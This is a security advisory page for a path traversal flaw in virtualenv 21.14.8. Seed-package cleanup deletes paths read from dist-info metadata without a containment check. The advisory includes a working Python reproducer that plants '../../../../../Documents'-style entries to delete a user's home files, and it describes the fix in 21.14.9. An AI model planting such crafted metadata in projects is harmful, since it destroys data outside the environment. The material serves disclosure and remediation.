GHSA-hhxq-47xx-j5xx: Path Traversal

Published Oct 23, 2026
·
Updated

Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.

Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Removal of a previously installed seed package.

Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.

Affected code

The relevant 21.14.8 source is in seed uninstall.

Mechanism

Before reinstalling a seed wheel, PipInstall.uninstallpreviousversion() accepts an existing pip-.dist-info directory in the destination. uninstalldist() reads its toplevel.txt and RECORD, joins each entry to site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; --clear removes that tree first.

Reproduction and evidence

The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its toplevel.txt contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths. A control tree with toplevel.txt set to pip and a normal pip/init.py RECORD entry left the home files in place. The reproducer prints BUG only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.

Attack sequence

mermaid sequenceDiagram participant A as Prepared .venv metadata participant V as App-data seeder participant P as site-packages participant H as User home A->>P: toplevel.txt names ../../../../../Documents A->>P: RECORD names ../../../../../notes.txt V->>P: read pip-1.0.dist-info before reinstall P->>H: join entries without containment check V->>H: remove Documents and notes.txt V-->>A: virtualenv exits successfully

Reproducer files

The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path

work = Path("/tmp/repro-seed-uninstall") shutil.rmtree(work, ignoreerrors=True) USERFILES = ("Documents/thesis/chapter1.txt", "notes.txt")

def makehome(name): home = work / name (home / "Documents" / "thesis").mkdir(parents=True) (home / "Documents" / "thesis" / "chapter1.txt").writetext("months of work\n") (home / "notes.txt").writetext("my notes\n") return home

def unpackattackerproject(home, toplevelline, recordline): subprocess.run( [sys.executable, "/tmp/repro.d/makeprojecttree.py", home / "project", toplevelline, recordline], check=True, )

def userrunsvirtualenv(home): # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline result = subprocess.run( ["virtualenv", "--no-periodic-update", ".venv"], cwd=home / "project", env={os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, text=True, check=True, ) print(result.stdout, end="")

def filesleft(home): return [f for f in USERFILES if (home / f).exists()]

control: the project ships well-formed pip metadata controlhome = makehome("control") unpackattackerproject(controlhome, "pip", "pip/init.py,,") userrunsvirtualenv(controlhome) controlleft = filesleft(controlhome) print(f"CONTROL user files still in ~ after virtualenv: {controlleft}")

attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~ attackhome = makehome("attack") unpackattackerproject(attackhome, "../../../../../Documents", "../../../../../notes.txt,,") print(f"BEFORE user files in ~ before virtualenv: {filesleft(attackhome)}") userrunsvirtualenv(attackhome) attackleft = filesleft(attackhome) print(f"OBSERVED user files still in ~ after virtualenv: {attackleft}")

check: creating an environment must never delete the user's files outside it print("BUG" if controlleft == list(USERFILES) and attackleft == [] else "OK")

repro.d/makeprojecttree.py

text #!/usr/bin/env python3 import sys from pathlib import Path

project = Path(sys.argv[1]) toplevelline = sys.argv[2] recordline = sys.argv[3]

project.mkdir(parents=True) (project / "README").writetext("Set up with: virtualenv .venv\n")

a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown for minor in range(9, 16): distinfo = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info" distinfo.mkdir(parents=True) (distinfo / "toplevel.txt").writetext(toplevelline + "\n") (distinfo / "RECORD").writetext(recordline + "\n")

Impact

Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.

Fix: PR #3428.

Known mitigation

Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.

Affected Software

1 affected componentFixes available
pip/virtualenv<21.14.9
21.14.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/virtualenv to a version that resolves this vulnerability.

    Fixed in 21.14.9
  2. Upgrade

    Upgrade virtualenv to a version that resolves this vulnerability.

    Fixed in 21.14.9Patch PR #3428
  3. Compensating control

    Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata; use --clear to remove the existing tree first.

Event History

Oct 23, 2026
Advisory Published
via GitHub·10:19 PM
Data Sourced
via GitHub·10:19 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is realistically exposed to this issue?

Exposure requires reuse of an environment containing pip distribution metadata influenced by another account. The user invoking the seeder must also have permission to delete the paths named in that metadata.

2

Does creating a new environment trigger the vulnerable cleanup path?

No. Installing into a new environment with no existing package metadata does not enter the cleanup path.

3

What must an attacker control to cause unintended deletion?

They need to influence an existing pip-*.dist-info directory in the destination, including its top_level.txt or RECORD entries. The cleanup code joins those entries to site-packages and deletes the resulting paths without verifying that they remain inside the environment.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203